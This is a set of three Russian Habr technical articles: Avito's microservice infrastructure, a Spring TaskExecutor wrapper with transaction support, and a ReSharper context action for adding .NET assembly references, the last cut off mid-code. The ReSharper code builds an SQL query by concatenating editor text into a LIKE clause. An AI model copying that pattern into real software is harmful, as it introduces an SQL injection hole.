Микросервисная архитектураМы начали активно делать новые независимые микроприложения и пришли к тому, что у нас сейчас больше 1500 микросервисов (около 200 из них критичных), 2500 баз данных и 3000 git-репозиториев на стеке Atlassian-продуктов и Bitbucket. Мы проводим до 200 деплоев каждый день.
Сложно найти единое правило или критерий, до какой степени гранулярности дробить приложение. У нас пока ещё есть монолит, работающий с разными инструментами (Postgres, Sphinx, Redis, MongoDB, Nginx). Новые фичи мы делаем в микросервисах: например, реализуем API для мессенджера на всех платформах (десктоп, мобильные устройства), бэк-офис со своими независимыми кронами и демонами. У каждого микросервиса может быть своя база данных, своя команда инженеров, свой техдолг, техлид, бэклог, capacity planning и план развития:
Монолит и несколько микросервисовГлядя на эту схему, может показаться, что всё очень просто — делай отдельные микро-приложения и получишь микросервисную архитектуру. Но, на самом деле, всё гораздо сложнее.
Один из вызовов микросервисной архитектуры — сделать так, чтобы не потерять комфортность разработки на таких масштабах, чтобы объем техдолга не рос экспоненциально, и количество «грязной» работы держался на одном уровне. Под «грязной» работой я подразумеваю задачи, когда, например, в Golang v1.15 нашли уязвимость и нам надо обновить 500 микросервисов. Или в 400 микросервисах надо поменять SDK для сбора логов. Всю эту «грязную» работу надо как-то автоматизировать. Не говоря уже про управление 10 тысячами микросервисов.
### Runtime для 10 000+ приложений
Откуда взялась цифра 10 тысяч, если до этого я говорил про тысячу микросервисов? У нас все микросервисы скейлятся горизонтально: для слабонагруженных сервисов это минимум 3 экземпляра, а для высоко нагруженных (поиск, рекомендации, сервис пользователей) может быть до 50-100. В среднем получается примерно 10 инстансов на микросервис, и это дает цифру в 10000 микроприложений.
А еще у них есть вспомогательные компоненты. У каждого микросервиса может быть свой pgBouncer, stats-daemon, HAProxy, nginx. Эта цифра может спокойно подняться до десятков тысяч микроприложений, и все их нужно как-то запускать.
Есть похожая алгоритмическая задача по наполнению рюкзака.
Задача наполнения рюкзакаПо условию у вас рюкзак заданной вместимости и грузы, которые надо в него уложить максимально эффективно. Рюкзаки — это наши сервера, их тысячи. А грузы — это наши микросервисы, и их десятки тысяч. Нужно их так разложить, чтобы не было переполненных рюкзаков, и все они были загружены на одном уровне.
Задача может усложниться правилами: 1) в один рюкзак нельзя положить больше, чем два зеленых груза, 2) к одному синему грузу необходимо добавлять оранжевый и 3) в каждом рюкзаке должен быть один серый груз. Эти правила называются политиками Affinity и Anti-Affinity, и они делают задачу практически нерешаемой вручную. Найти ответ можно перебором и оптимизациями из динамического программирования.
Когда у нас было всего 5-10 микросервисов, DevOps’ы пытались подбирать сервера под каждый микросервис с определенным профилем нагрузки. Но с ростом количества микросервисов делать это вручную стало слишком долго, поэтому нужны инструменты scheduling & Orchestration.
### Scheduling & Orchestration
Если вы только хотите идти в микросервисы, обратите внимание на фонд Cloud Native Computing Foundation. Он был анонсирован в 2015 году вместе с Kubernetes 1.0. Его цель — развитие технологий контейнеризации приложений, и его поддерживают множество компаний. Участники фонда развивают те самые инструменты оркестрации и шедулинга, из которых вы можете подобрать себе подходящий:
Инструменты оркестрацииЯ не буду сравнивать, чем они отличаются и какая у них архитектура, а только скажу что верхнеуровнево, все они решают общую задачу. Они все состоят из N серверов, на которых запускаются микросервисы:
Распределение реплик сервиса по физическим серверамНапример, в Авито около тысячи серверов в кластере Kubernetes. Есть несколько мастеров, которые управляют этим кластером. У мастеров есть свой storage. В Kubernetes по умолчанию используется etcd (disributed key-value storage). Также мастера предоставляют API для работы command-line interface (CLI) утилит и UI-дашбордов.
Мастер Kubernetes решает за вас, на каких нодах запустить микросервисы. Ноды могут появляться и исчезать, то есть вы можете вводить в эксплуатацию и выводить из эксплуатации новые сервера и микросервисы сами станут «перезапускаться» на наиболее свободных. У вас не будет привязки к конкретному железу. Это особенно эффективно на масштабах от тысячи серверов/приложений.
### Container Runtime
Когда у вас вместо одного монолита сотни независимых приложений на одном сервере, надо как-то распределять ресурсы. Чтобы не было «плохих» соседей, когда один микросервис начинает утилизировать все CPU сервера, забивает всю сеть или память, не давая работать другим микросервисам.
Чтобы этого избежать, нужна контейнеризация приложения. Это метод виртуализации, когда приложение запускается в изолированных пространствах пользователей. Вы можете для каждого микросервиса указать, сколько ресурсов CPU, сети, памяти он может использовать. Если сервис пытается использовать, например, больше CPU, то он ограничивается, чтобы оставалось процессорное время для работы других микросервисов.
В Cloud Native Computing Foundation есть множество инструментов для контейнеризации:
Инструменты контейнеризацииФонд пропагандирует модульный подход — делать так, чтобы каждый компонент можно было заменить. Поэтому все инструменты для Container Runtime заменяемые, верхнеуровнево похоже работают и предоставляют одинаковый API (container runtime interface).
Сам микросервис в контейнере может быть не только одним запущенным приложением, а, например, представлять собой собранный бинарник Golang или php-fpm демон. Также в инстанс микросервиса может входить nginx, haproxy для high availability до внешних ресурсов, pgBouncer, Redis как key-value storage (для каждого экземпляра микросервиса тоже можно так делать), rsyslog для сбора логов. И все эти N контейнеров будут одним инстансом приложения.
Как я уже говорил, мы масштабируемся горизонтально, равномерно распределяя по ним. На схеме 6 реплик одного микросервиса, по которым равномерно будет распределять нагрузка.
6 реплик микросервиса - горизонтальное масштабированиеТак как микросервисы — это, по сути, наботы контейнеров, а контейнер — это запущенное приложение на базе какого-то образа (image), то нужно где-то хранить собранные образы приложений.
### Container Runtime/Registry
У фонда для хранения образов контейнеров тоже большой выбор инструментов:
Инструменты registryОни все взаимозаменяемые, поэтому вы можете подобрать любой Registry, с которыми будет комфортно работать. Мы остановились на Harbor. Это Cloud Native Registry. У него есть ролевая модель доступа, политики репликации, RESTful API, дашборд, бэкапы и достаточно мощное решение.
### API Gateway
Теперь представим, что вы сделали два микросервиса, например, Product Page и Messenger. У каждого своя база данных, своя команда, свой бэклог — все идеально. За исключением того, что пользователи не знают, какие у вас есть микросервисы. Пользователь просто делает запрос по url вам нужно научиться как-то роутить трафик на конкретный микросервис. Эту задачу решает API Gateway:
Роутинг на api-gatewayНо роутинг — это не единственная его задача. Есть еще сотни инфраструктурных задач, которые можно положить в API Gateway:
* Application firewall/Rate limits;
* Authentication;
* Metrics/monitoring/logging;
* SSL termination;
* Secure breaker;
* Retry;
* Caching и т.д.
Вы можете подобрать себе API Gateway на любом стеке технологий, который вам нравится. В фонде Cloud Native Computing Foundation есть пул опенсорсных проектов API Gateway, которые всё это уже умеют делать:
Инструменты api-gatewayНапример, Kong Gateway — это платформо независимый инструмент. У него есть готовые сборки для Kubernetes, Docker Swarm, Mesos и его можно запускать на bare metal серверах. В нем есть динамический алгоритм балансировки трафика, встроенные secure breaker, healthcheck, активный и пассивный мониторинг upstream, интеграции с разными 3rd party DNS-резолверами (Consul), встроенный auth2.0), механизмы авторизации пользователя (от jwt-токенов до обычной сессионной куки). А на GitHub вы можете найти много плагинов, которые расширят его возможности.
Или вы можете взять Sentinel, написанный на Java, KrakenD, написанный на Golang, либо Ambassador, там смесь Golang и Python. Из коробки вы получаете сотни возможностей для ваших API Gateway, поэтому не изобретайте велосипед — догнать эти готовые решения очень сложно.
У нас API gateway самописный, но это потому, что мы начали переход к микросервисам очень давно и тогда еще не знали, что есть коробочные решения. Первый commit примерно совпадает па дате с первыми комитами на гитхабе в Kong gateway. Пользовательский трафик с внешних балансеров L3-L4 проксируется в k8s на ingress API-Gateway, который и является балансером L7 или application layer:
kong gatewayТри нижних микросервиса могут быть написаны на разных языках (Python, Golang, PHP). И, если, к примеру, им всем нужна аутентификация пользователей, то эту логику придется копировать и портировать на разные языки, а можно сделать так, что API Gateway будет делать это самостоятельно. То есть, по пользовательскому запросу поймет, кто пришел, разберет сессионную куку, сходит с ней в storage и проверит активность пользователя, а также не заблокирован ли он.
API Gateway подмешивает заголовок userID в нижестоящие сервисы, поэтому они ему доверяют. И, конечно, API Gateway фильтрует заголовки, которые пользователь не может поставить сам.
### Межсервисные взаимодействия
Помимо прямого пользовательского трафика у вас будет много межсервисных взаимодействий. На один пользовательский запрос в среднем порождается примерно 5-10 каскадных запросов. У нас, например, есть тяжелые страницы типа карточки объявления или подачи объявления, где для полноценной отрисовки страницы задействованы 50 микросервисов.
Поэтому межсервисные взаимодействия выходят на первое место и важно сразу договорится о следующем:
* Какой у вас будет протокол взаимодействия между сервисами?
* Как вы будете подписывать запросы?
* Использовать готовый sdk/client для сервисов или кодогенерация клиентов, чтобы не делать прямых curl-запросов из кода вашего приложения.
* Договоритесь о кодах ошибок и отделите ошибки сетевого уровня от ошибок доменного уровня у микросервисов.
> *Создайте в компании документ, описывающий принципы межсервисных взаимодействий*.
>
>
Имейте в виду, что после того, как вы выберете протокол общения между микросервисами, вы, скорее всего, уже не сможете его поменять. Поэтому зайдите на страницу фонда Cloud Native Computing Foundation и посмотрите готовые RPC фреймворки с поддержкой разных языков программирования:
Так вы из коробки получите поддержку для Java, С++, Golang, Python и других языков. Обратите внимание на gRPC либо на DUBBO — это хорошие RPC-фреймворки из коробки. У них есть механизмы для тестирования, отладки, faild injection, мониторинга и сбора трейсов.
### Service proxy
Предположим, протокол для общения между микросервисами вы выбрали. И один ваш микросервис запрашивает второй по API:
Конечно, мы можем договориться и надеяться, что все инженеры будут честно прокидывать trace ID, покрывать межсервисные взаимодействия метриками и мониторингами, настраивая алерты. Но если у вас 400 инженеров, то договоренности быстро забываются, теряются или ломаются. Ещё их невозможно обновлять и менять, потому что придется вносить изменения в тысячу микросервисов — это дорого и долго.
С помощью паттерна Service proxy у каждого инстанса микросервиса поднимается sidecar proxy, и весь трафик роутится через него. То есть у каждого экземпляра сервисов этот sidecar proxy локально собирает информацию, агрегирует и сбрасывает в какое-нибудь хранилище. Например, централизованно собирает у каждого сервиса все трейсы межсервисных взаимодействий и отправляет их в систему хранения трейсов по Open Tracing протоколу. Не изобретайте свои Service proxy. Посмотрите на фонд Cloud Native Computing Foundation и вы увидите готовые Service proxy, которые легко встраиваются в любую инфраструктуру, будь то Kubernetes, Mesos или Docker Swarm:
Service-proxyМне больше всего нравится Envoy (на С++) и Traefik (на Golang). Это самое правильное место для выполнения retry, secure breaker, tracing, metrics, и monitoring.
### Tracing
Для трейсинга Фонд Cloud Native Computing Foundation также предлагает много инструментов, которые также легко интегрируются между всеми вышеперечисленными:
Инструменты трейсингаНапример, мы у себя взяли Jaeger. Он из коробки подключился к Service proxy и зашел в Kubernetes. Это готовые кирпичи, из которых можно усилить вашу микросервисную архитектуру.
Так выглядят трейсы у нас:
Пример реальных трейсов пользовательского запроса По request ID мы можем не только восстановить хронологию, какие сервисы были задействованы (у нас, например, на карточке объявления 50 микросервисов). Трейсы можно расширять из приложения. То есть дополнять их из самого кода приложения. Например, обернуть запрос в БД таймингом либо в походы во внешние ресурсы, либо просто оборачивать таймером тяжелые задачи, помечать их Request ID и отправлять в систему хранения tracing.
### Service mesh
Так как межсервисные взаимодействия вышли на первое место, то мы, конечно, можем договориться, что в каждом из тысячи микросервисов будем использовать одну Service proxy. И надеяться, что инженеры будут это делать. Но можно пойти дальше и использовать пул инструментов Service mesh, который будет централизованно оркестрировать всеми прокси:
service meshВ Авито 10 тысяч прокси, и мы из командной строки управляем ими для всех сервисов. Например, можем запретить ходить в этот микросервис всем, кроме одного микросервиса, либо централизованно управлять их расположением. Я могу сделать А/В тесты между микросервисами или Canary релизы для них. Это централизованный пульт управления для всех прокси.
### Шаблоны сервисов
Итак, мы с вами посмотрели множество инструментов для построения микросервисной архитектуры.
И мы начали создавать шаблоны микросервисов на php, go, python, nodeJS — основных языках из нашего техрадара. Мы сделали их максимально платформонезависимыми. В коде шаблона микросервиса нет ни слова про Kubernetes, Service proxy или Service mesh. Есть только app.toml — описание микросервиса:
app.toml
```
name = "new-awesome-service"
description = "ведите краткое описание сервиса"
kind = "business"
replicas = 3
[env_vars]
# Clients
SERVICE_ITEM_TOKEN = "my_private_token"
SERVICE_ITEM_TIMEOUT = "2"
SERVICE_GEOGRAPH_TIMEOUT = "2s"
[engine]
version = "1.17"
size = "medium"
name = "golang"
[postgresql]
enabled = true
version = "12.1"
size = "large"
use_sample = true
dwh.tables = [
{ schema = "lf", name = "waiting_items" },
]
[postgresql.data_bus]
batch_size = 10
schemas = [
"billing.service_applied",
"billing.service_cancelled",
"listing_fees.item_refund",
"lf_waiting.items",
"lf.tariff-contract.create",
]
[redis]
enabled = true
version = "5.0"
size = "medium"
[[workers]]
replicas = 1
name = "limitsd"
command = "limitsd"
size = "small"
[envs.prod]
replicas = 10
[envs.dev]
replicas = 1
[envs.test]
replicas = 1
```
Здесь есть название микросервиса, по которому определяется контроль доступа, и всё это идет в метрики и мониторинг. В сервисе engine описывается, на каком языке написан микросервис и его размер, чтобы понимать, сколько ему выделять CPU или памяти. Команда может выбирать ресурсы для своего микровервиса из стандартных коробочных решений (большой, средний или маленький). Мы автоматизировали и создание БД, теперь можно записать секцию Postgres, и в продакшене автоматически поднимется база данных, также как и в dev/ staging окружениях.
### Пока остановимся
Я не рассмотрел еще PaaS, database, streaming & messenging, cloud native storage, logging и многое другое, потому что для этого потребуется еще несколько статей. Например, над PaaS у нас работает целая отдельная команда. Но есть более подробный [доклад](https://habr.com/ru/company/avito/blog/527400/) про наш Platform as a Service от Саши Лукьянченко.
Скажу только, что инструменты streaming & messenging вам понадобятся, чтобы построить надежную распределенную масштабируемую архитектуру. В микросервисах вы теряете возможность легко поддерживать консистентность данных, поэтому приходится идти в eventually consistency, и без готовых инструментов для streaming & messenging вы не построите надежное приложение. У себя мы используем Kafka и Pulsar.
Здесь тоже есть готовые сборки под БД для построения надежных распределенных масштабируемых решений. Есть и коробочные PaaS, например, Heroku. Есть Cloud Native storage (S3, CF, MinIO), инструменты для логирования, которые также легко встраиваются в экосистему из коробки и интегрируются со всеми остальными инструментами. Всё это вы тоже сможете найти в фонде Cloud Native Computing Foundation.
В общем, микросервисы — это дорогая технология, и, если вы хотите туда идти, вам придется начать использовать множество разных инструментов. Это хороший вызов для ваших DevOps и архитекторов, и я бы советовал несколько раз подумать, прежде чем туда отправляться.
Видео моего выступления на HighLoad++ 2021:
> В рамках [**Highload++ Foundation 2022**](https://clck.ru/asAvf) пройдет трек Яндекса — 2 полных дня, объединенных разными темами. 17 марта мы погрузимся в надежность и отказоустойчивость, решая проблемы больших систем. А 18 марта обсудим Machine learning в Highload. Расписание зала Трантор уже [опубликовано](https://clck.ru/asBhg).
>
> А еще сейчас идет [открытое голосование по Open Source трибуне](https://clck.ru/asBiT), где определятся 5 лучших решений. Отдайте свой голос за то, что вам нравится и помогите определить лучших!
>
> До встречи на HighLoad++ 17 и 18 марта в Москве. Информацию о [докладах](https://clck.ru/asBmo) и [билетах](https://clck.ru/asBnW) смотрите на сайте конференции.
>
> | https://habr.com/ru/post/649319/ | null | ru | null |
# Spring: Реализация TaskExecutor c поддержкой транзакций
Spring, позаботившись о разработчиках, предлагает удобный и простой фасад для взаимодействия с менеджером транзакций. Однако всегда ли стандартного механизма будет достаточно для реализации изощрённых архитектурных идей? Очевидно — нет.
В этом посте пойдёт речь о возможностях Spring —
* взглянем на примеры стандартного управления транзакциями с помощью аннотаций,
* поймём — когда решить задачу с помощью аннотаций не получится,
* и, судя по заголовку статьи, дадим пример реализации транзакционного исполнения кода в новом потоке, создавемых с помощью Spring TaskExecutor.
Наиболее общеупотребимо задание транзакций с помощью аннотации @Transactional. Что бы воспользоваться этим механизмом достаточно сконфигурировать предпочитаемый TransactionManager и включить обработку аннотаций. В случае конфигурации с помощью XML файлов это выглядит примерно так:
```
.....
....
```
Использовать далее это так же просто как «навесить» аннотацию @Transactional на реализацию метода интерфейса или над всем классом-реализацией.
```
@Service
public class FooServiceImpl implements FooService {
@Autowired
private FooDao fooDao;
@Transactional
@Override
public void update(Foo entity) {
fooDao.merge(entity);
}
}
```
Однако, что бы эффективно использовать этот механизм нужно помнить о нескольких, невсегда очевидных тонкостях:
* Класс должен быть объявлен как bean (c помощью аннотаций, code-based или в xml конфигурации контейнера)
* Класс должен реализовывать интерфейс, иначе контейнеру будет сложно создать прокси-объект, с помощью которого и выполняется управление транзакцией.
* Вызов транзакционных методов из другого метода того же класса не приведёт к созданию транзакции! (следствие из предыдущего пункта)
Подобный механизм позволяет не писать код управления транзакцией каждый раз!
Однако, могут ли быть ситуации, когда этого механизма будет недостаточно? или возможен ли контекст, в котором аннотациями обойтись не удастся? Боюсь, ответ очевиден. К примеру, мы можем захотеть выполнить часть кода в одной транзакции, а другую часть – во второй (тут скорее архитектурно верным будет разделить метод на два). У читателей, думаю, есть и свои примеры.
Более реалистичен пример, когда часть кода нужно выполнить асинхронно:
```
@Service
public class FooServiceImpl implements FooService {
@Autowired
private TaskExecutor taskExecutor;
@Autowired
private FooDao fooDao;
@Transactional
@Override
public void update(Foo entity) {
fooDao.merge(entity);
taskExecutor.run(new Runnable() {
public void run() {
someLongTimeOperation(entity);
}
});
}
@Transactional
@Override
public void someLongTimeOperation(Foo entity) {
// тут набор ресурсоёмких операций
}
}
```
Что же получается: до старта метода update() создаётся транзакция, затем выполняются операции из тела, а по выходу из метода транзакция закрывается. Но в нашем случае создаётся новый поток, в котором будет исполнен код. И весьма очевидно, что на момент выхода из метода update() и сопутствующего уничтожения транзакции, выполнение кода во втором запущенном потоке может/будет продолжаться. Как итог, по завершению метода, во втором потоке получим исключение и вся транзакция «ролбэкнится».
К предудщему примеру добавим ручное создание транзакции:
```
@Service
public class FooServiceImpl implements FooService {
@Autowired
private TaskExecutor taskExecutor;
@Autowired
private FooDao fooDao;
@Transactional
@Override
public void update(final Foo entity) {
fooDao.merge(entity);
final TransactionTemplate transactionTemplate = new TransactionTemplate(transactionManager);
taskExecutor.execute(new Runnable() {
@Override
public void run() {
transactionTemplate.execute(new TransactionCallbackWithoutResult() {
@Override
protected void doInTransactionWithoutResult(TransactionStatus status) {
someLongTimeOperation(entity);
}
});
}
});
}
@Transactional
@Override
public void someLongTimeOperation(Foo entity) {
// тут набор ресурсоёмких операций
}
}
```
Теперь someLongTimeOperation() исполняется асинхронно и в выделенной транзакции. Однако, хочется обощённой реализации, что бы не дублировать громоздкий код ручного управления.
Что ж… вот и она:
```
public interface TransactionalAsyncTaskExecutor extends AsyncTaskExecutor {
void execute(Runnable task, Integer propagation, Integer isolationLevel);
}
```
```
public class DelegatedTransactionalAsyncTaskExecutor implements InitializingBean, TransactionalAsyncTaskExecutor {
private PlatformTransactionManager transactionManager;
private AsyncTaskExecutor delegate;
private TransactionTemplate sharedTransactionTemplate;
public DelegatedTransactionalAsyncTaskExecutor() {
}
public DelegatedTransactionalAsyncTaskExecutor(PlatformTransactionManager transactionManager, AsyncTaskExecutor delegate) {
this.transactionManager = transactionManager;
this.delegate = delegate;
}
@Override
public void execute(final Runnable task, Integer propagation, Integer isolationLevel) {
final TransactionTemplate transactionTemplate = new TransactionTemplate(transactionManager);
transactionTemplate.setPropagationBehavior(propagation);
transactionTemplate.setIsolationLevel(isolationLevel);
delegate.execute(new Runnable() {
@Override
public void run() {
transactionTemplate.execute(new TransactionCallbackWithoutResult() {
@Override
protected void doInTransactionWithoutResult(TransactionStatus status) {
task.run();
}
});
}
});
}
@Override
public void execute(final Runnable task) {
execute(task, TransactionDefinition.PROPAGATION_REQUIRED, TransactionDefinition.ISOLATION_DEFAULT);
}
@Override
public void execute(final Runnable task, long startTimeout) {
final TransactionTemplate transactionTemplate = getSharedTransactionTemplate();
delegate.execute(new Runnable() {
@Override
public void run() {
transactionTemplate.execute(new TransactionCallbackWithoutResult() {
@Override
protected void doInTransactionWithoutResult(TransactionStatus status) {
task.run();
}
});
}
}, startTimeout);
}
@Override
public Future submit(final Runnable task) {
final TransactionTemplate transactionTemplate = getSharedTransactionTemplate();
return delegate.submit(new Runnable() {
@Override
public void run() {
transactionTemplate.execute(new TransactionCallbackWithoutResult() {
@Override
protected void doInTransactionWithoutResult(TransactionStatus status) {
task.run();
}
});
}
});
}
@Override
public Future submit(final Callable task) {
final TransactionTemplate transactionTemplate = getSharedTransactionTemplate();
return delegate.submit(new Callable() {
@Override
public T call() throws Exception {
return transactionTemplate.execute(new TransactionCallback() {
@Override
public T doInTransaction(TransactionStatus status) {
T result = null;
try {
result = task.call();
} catch (Exception e) {
e.printStackTrace();
status.setRollbackOnly();
}
return result;
}
});
}
});
}
public PlatformTransactionManager getTransactionManager() {
return transactionManager;
}
public void setTransactionManager(PlatformTransactionManager transactionManager) {
this.transactionManager = transactionManager;
}
public AsyncTaskExecutor getDelegate() {
return delegate;
}
public void setDelegate(AsyncTaskExecutor delegate) {
this.delegate = delegate;
}
public TransactionTemplate getSharedTransactionTemplate() {
return sharedTransactionTemplate;
}
public void setSharedTransactionTemplate(TransactionTemplate sharedTransactionTemplate) {
this.sharedTransactionTemplate = sharedTransactionTemplate;
}
@Override
public void afterPropertiesSet() {
if (transactionManager == null) {
throw new IllegalArgumentException("Property 'transactionManager' is required");
}
if (delegate == null) {
delegate = new SimpleAsyncTaskExecutor();
}
if (sharedTransactionTemplate == null) {
sharedTransactionTemplate = new TransactionTemplate(transactionManager);
}
}
}
```
Это реализация есть обёртка, в итоге делигирующая вызовы к любому TaskExecutor коих несколько в составе Spring. При этом каждый вызов «завёрнут» в транзакцию. Вручную управлять транзакциями в Spring можно используя TransactionTemplate, а вот EntityManager#getTransaction() выдаёт исключение.
Ну и наконец около практический пример в действии:
Конфигурируем TaskExecutor:
```
```
Пример сервиса:
```
@Service
public class FooServiceImpl implements FooService {
@Autowired
private TransactionalAsyncTaskExecutor trTaskExecutor;
@Autowired
private FooDao fooDao;
@Transactional
@Override
public void update(Foo entity) {
fooDao.merge(entity); // Выполнится в транзакции созданной Spring'ом (tr_1).
trTaskExecutor.run(new Runnable() { // Запустится новый поток и новая транзакция (tr_2), метод run() выполнится паралельно текущему потоку и в рамках транзакции tr_2.
public void run() {
someLongTimeOperation();
}
});
} // Выход из метода и вместе с этим tr_1 завершится. Обрабока tr_2 осуществится с помощью TransactionTemplate.
@Transactional
@Override
public void someLongTimeOperation(Foo entity) {
// тут набор ресурсоёмких операций
}
}
```
Таким образом, имеем вполне обобщённую реализацию обёртки для TaskExecutor, позволяющую избежать дублирования кода создания транзакций. | https://habr.com/ru/post/228953/ | null | ru | null |
# Быстрое добавление ссылок или «прощай Add Reference»
Недавно я допилил одну проблему, которая меня уже очень давно достает. Суть ее в том, что диалог Add Reference в Visual Studio не нужен, если вы берете сборку из одного из тех мест, где их ищет студия. Не нужен он потому, что студия вполне могла бы сама проиндексировать все пространства имен в этих сборках и при написании `using Biztalk` дать мне возможность добавить ссылку автоматически. Поскольку студия это делать не умеет, пришлось ей помочь.
Идея сама по себе простая, и состоит из 2х частей, а именно:
* Нужно найти все важные сборки и проиндексировать все их пространства имен.
* При наведении курсора на `using`, нужно сделать поиск всех возможных сборок и показать меню.
### Индексирование
База для пространств имен и путям к файлам сборок делается за секунды. Единственный трюк – это использование Cecil вместо извращений вроде `Assembly.ReflectionOnlyLoad()`, которые пытаются подгрузить зависимости и ещё невесть что. Быстренько находим все типы, записываем их простнанства имен в `HashSet`, и засовываем все это в базу. Как? Об этом сейчас и поговорим.
Во-первых, пути к файлам которые использует Add Reference находятся как минимум в 2х местах – в реестре, и в папке PublicAssemblies. Чтобы найти те папки, которые указаны в реестре, я написал следующий код:
> `public static IEnumerable<string> GetAssemblyFolders()
>
>
> {
>
>
> string[] valueNames = new[] { string.Empty, "All Assemblies In" };
>
>
> string[] keyNames = new[]
>
>
> {
>
>
> @"SOFTWARE\Microsoft\.NETFramework\AssemblyFolders",
>
>
> @"SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyFolders"
>
>
> };
>
>
> var result = new HashSet<string>();
>
>
> foreach (var keyName in keyNames)
>
>
> {
>
>
> using (var key = Registry.LocalMachine.OpenSubKey(keyName))
>
>
> {
>
>
> if (key != null)
>
>
> foreach (string subkeyName in key.GetSubKeyNames())
>
>
> {
>
>
> using (var subkey = key.OpenSubKey(subkeyName))
>
>
> {
>
>
> if (subkey != null)
>
>
> {
>
>
> foreach (string valueName in valueNames)
>
>
> {
>
>
> string value = (subkey.GetValue(valueName) as string ?? string.Empty).Trim();
>
>
> if (!string.IsNullOrEmpty(value))
>
>
> result.Add(value);
>
>
> }
>
>
> }
>
>
> }
>
>
> }
>
>
> }
>
>
> }
>
>
> return result;
>
>
> }`
Изначально у меня мало что работало, т.к. ключи на 32-битной и 64-битной системе разные. В очередной раз замечаю что с переходом на 64-битную систему начал писать более качественный код :)
Чтобы найти папку PublicAssemblies, нужно сначала найти где установлена Visual Studio:
> `public static string GetVS9InstallDirectory()
>
>
> {
>
>
> var keyNames = new string[]
>
>
> {
>
>
> @"SOFTWARE\Wow6432Node\Microsoft\VisualStudio\9.0\Setup\VS",
>
>
> @"SOFTWARE\Microsoft\VisualStudio\9.0\Setup\VS"
>
>
> };
>
>
> foreach (var keyName in keyNames)
>
>
> {
>
>
> using (var key = Registry.LocalMachine.OpenSubKey(keyName))
>
>
> {
>
>
> if (key != null)
>
>
> return key.GetValue("ProductDir").ToString();
>
>
> }
>
>
> }
>
>
> return null;
>
>
> }`
Имея список папок, можно в каждой искать все DLL-файлы и индексировать их. Помимо тех папок что всегда фигурируют в диалоге Add Reference, можно добавлять свои папки, что бывает удобно.
> `using (var dc = new StatsDataContext())
>
>
> {
>
>
> var dirs = new HashSet<string>();
>
>
> dirs.Add(@"C:\Program Files (x86)\JetBrains\ReSharper\v4.5\Bin");
>
>
> foreach (var dir in GetAssemblyFolders()) dirs.Add(dir);
>
>
> dirs.Add(Path.Combine(GetVS9InstallDirectory(), @"Common7\IDE\PublicAssemblies"));
>
>
> foreach (string dir in dirs.Where(Directory.Exists))
>
>
> {
>
>
> string[] files = Directory.GetFiles(dir, "\*.dll");
>
>
> var entries = new HashSet();
>
>
> foreach (string file in files)
>
>
> {
>
>
> var ns = AddNamespacesFromFile(file);
>
>
> foreach (var n in ns)
>
>
> entries.Add(n);
>
>
> }
>
>
> dc.Namespaces.InsertAllOnSubmit(entries);
>
>
> }
>
>
> dc.SubmitChanges();
>
>
> }`
Добавление происходит с помощью метода `AddNamespacesFromFile()` который, как я уже писал, использует Mono.Cecil.
> `private static IEnumerable AddNamespacesFromFile(string file)
>
>
> {
>
>
> HashSet result = new HashSet();
>
>
> try
>
>
> {
>
>
> var ad = AssemblyFactory.GetAssembly(file);
>
>
> foreach (ModuleDefinition m in ad.Modules)
>
>
> {
>
>
> foreach (TypeDefinition type in m.Types)
>
>
> {
>
>
> if (type.IsPublic && !string.IsNullOrEmpty(type.Namespace))
>
>
> {
>
>
> result.Add(new Namespace
>
>
> {
>
>
> AssemblyName = ad.Name.Name,
>
>
> AssemblyVersion = ad.Name.Version.ToString(),
>
>
> NamespaceName = type.Namespace,
>
>
> PhysicalPath = file
>
>
> });
>
>
> }
>
>
> }
>
>
> }
>
>
> }
>
>
> catch
>
>
> {
>
>
> // it's okay, probably a non-.Net DLL
>
> }
>
>
> return result;
>
>
> }`
С наполнением базы на этом все. Далее можно пользоваться результатами, хотя я помимо этого сделал фоновую утилиту которая позволяет освежать данные и добавлять новые пути.
### Использование
Не имея лучших вариантов, я реализовал добавление ссылок как context action для ReSharper. Идея простая – пользователь наводит курсор на слово `Biztalk` в строке `using Biztalk;` и видит магическое меню, при выборе элементов которого автоматически добавляется ссылка в проект.
Сам СА наследует от полезного класса `CSharpContextActionBase`, внутри которого кроме проверки а «применимость» ничего умного не происходит. Поиск по базе ведется с помощью простой выборки в стиле `SELECT * from Namespaces where NamespaceName LIKE '%BizTalk%'`. Для базы в которой у вас будет пара тысяч элементов (ну, может 10 тысяч, если постараетесь), такой подход адекватен.
> `protected override bool IsAvailableInternal()
>
>
> {
>
>
> items = EmptyArray.Instance;
>
>
> var element = GetSelectedElement(false);
>
>
> if (element == null)
>
>
> return false;
>
>
> var parent = element.ToTreeNode().Parent;
>
>
> if (parent == null || parent.GetType().Name != "ReferenceName" || parent.Parent == null
>
>
> || string.IsNullOrEmpty(parent.Parent.GetText()))
>
>
> return false;
>
>
> string s = parent.Parent.GetText();
>
>
> if (string.IsNullOrEmpty(s))
>
>
> return false;
>
>
> var bulbItems = new HashSet();
>
>
> using (var conn = new SqlConnection(
>
>
> "Data Source=(local);Initial Catalog=Stats;Integrated Security=True"))
>
>
> {
>
>
> conn.Open();
>
>
> var cmd = new SqlCommand(
>
>
> "select \* from Namespaces where NamespaceName like '%" + s + "%'", conn);
>
>
> using (var r = cmd.ExecuteReader())
>
>
> {
>
>
> int count = 0;
>
>
> while (r.Read())
>
>
> {
>
>
> bulbItems.Add(new RefBulbItem(
>
>
> provider,
>
>
> r.GetString(2).Trim(),
>
>
> r.GetString(3).Trim(),
>
>
> r.GetString(4).Trim()));
>
>
> count++;
>
>
> }
>
>
> if (count > 0)
>
>
> {
>
>
> items = System.Linq.Enumerable.ToArray(
>
>
> System.Linq.Enumerable.ThenBy(
>
>
> System.Linq.Enumerable.OrderBy(
>
>
> bulbItems,
>
>
> i => i.AssemblyName),
>
>
> i => i.AssemblyVersion));
>
>
> return true;
>
>
> }
>
>
> }
>
>
> }
>
>
> return false;
>
>
> }`
Все интересное происходит в `BulbItem`ах, то есть желтых лампочках которые появляются в процессе вызова контекстного меню. Сама лампочка – это некий POCO который умеет в нужный момент добавить ссылку на определенную сборку.
> `protected override void ExecuteBeforeTransaction(ISolution solution,
>
>
> JetBrains.TextControl.ITextControl textControl, IProgressIndicator progress)
>
>
> {
>
>
> var project = provider.Project;
>
>
> if (project == null) return;
>
>
> var fileSystemPath = FileSystemPath.TryParse(path);
>
>
> if (fileSystemPath == null) return;
>
>
> var assemblyFile = provider.Solution.AddAssembly(fileSystemPath);
>
>
> if (assemblyFile == null) return;
>
>
> var cookie = project.GetSolution().EnsureProjectWritable(project, out project, SimpleTaskExecutor.Instance);
>
>
> QuickFixUtil.ExecuteUnderModification(textControl,
>
>
